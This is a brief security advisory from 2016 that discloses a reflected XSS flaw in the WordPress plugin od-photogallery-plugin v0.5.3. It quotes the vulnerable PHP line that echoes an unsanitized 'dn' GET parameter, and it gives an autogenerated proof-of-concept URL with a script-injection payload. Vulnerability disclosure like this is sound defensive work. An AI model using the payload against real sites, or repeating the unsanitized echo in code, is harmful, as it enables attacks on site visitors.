Advisory #: 562
Title: Reflected XSS in wordpress plugin od-photogallery-plugin v0.5.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/od-photogallery-plugin
Downloads: 1840
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: od-photogallery-plugin
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./od-photogallery-plugin/od-photogallery-plugin-renderer.php: 599: <input type="hidden" name="dn" value="<?php echo $_GET['dn'];?>"/> The variable dn appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./od-photogallery-plugin/od-photogallery-plugin-renderer.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/od-photogallery-plugin/od-photogallery-plugin-renderer.php?dn="><script>alert(1);</script><"